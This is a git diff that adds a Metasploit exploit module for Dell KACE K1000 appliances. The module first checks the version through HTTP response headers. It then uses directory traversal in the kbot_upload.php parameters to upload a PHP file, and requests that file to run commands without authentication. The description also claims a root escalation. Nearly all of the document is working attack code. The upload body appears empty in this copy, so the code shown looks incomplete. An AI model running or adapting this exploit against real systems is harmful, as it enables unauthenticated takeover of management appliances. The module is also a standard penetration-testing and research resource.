diff --git a/modules/exploits/unix/http/dell_kace_k1000_upload.rb b/modules/exploits/unix/http/dell_kace_k1000_upload.rb new file mode 100644 index 0000000000..86394fb8b5 --- /dev/null +++ b/modules/exploits/unix/http/dell_kace_k1000_upload.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Dell KACE K1000 File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in Kace K1000 + versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547 + which allows unauthenticated users to execute arbitrary commands + under the context of the 'www' user. + This module also abuses the 'KSudoClient::RunCommandWait' function + to gain root privileges. + This module has been tested successfully with Dell KACE K1000 + version 5.3. + }, + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Platform' => 'unix', # FreeBSD + 'Arch' => ARCH_CMD, + 'Author' => + [ + 'Bradley Austin (steponequit)', # Initial discovery and exploit + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html'] + ], + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x27", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl' + } + }, + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'DisclosureDate' => 'Mar 7 2014')) + end + + def check + res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php')) + unless res + vprint_error('Connection failed') + return Exploit::CheckCode::Unknown + end + if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000' + if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/ + vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}") + if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3 + return Exploit::CheckCode::Vulnerable + elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849 + return Exploit::CheckCode::Vulnerable + elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Detected + end + Exploit::CheckCode::Safe + end + + def exploit + # upload payload + fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php" + payload_path = "/kbox/kboxwww/tmp/" + post_data = "" + print_status("Uploading #{fname} (#{post_data.length} bytes)") + res = send_request_cgi( + 'uri' => normalize_uri('service', 'kbot_upload.php'), + 'method' => 'POST', + 'vars_get' => Hash[{ + 'filename' => fname, + 'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}", + 'checksum' => 'SCRAMBLE', + 'mac' => rand_text_alphanumeric(rand(8) + 5), + 'kbotId' => rand_text_alphanumeric(rand(8) + 5), + 'version' => rand_text_alphanumeric(rand(8) + 5), + 'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle], + 'data' => post_data) + + unless res + fail_with(Failure::Unreachable, 'Connection failed') + end + + if res.code && res.code == 200 + print_good('Payload uploaded successfully') + else + fail_with(Failure::UnexpectedReply, 'Unable to upload payload') + end + + # execute payload + res = send_request_cgi('uri' => normalize_uri('tmp', fname)) + + unless res + fail_with(Failure::Unreachable, 'Connection failed') + end + + if res.code && res.code == 200 + print_good('Payload executed successfully') + elsif res.code && res.code == 404 + fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'") + else + fail_with(Failure::UnexpectedReply, 'Unable to execute payload') + end + end +end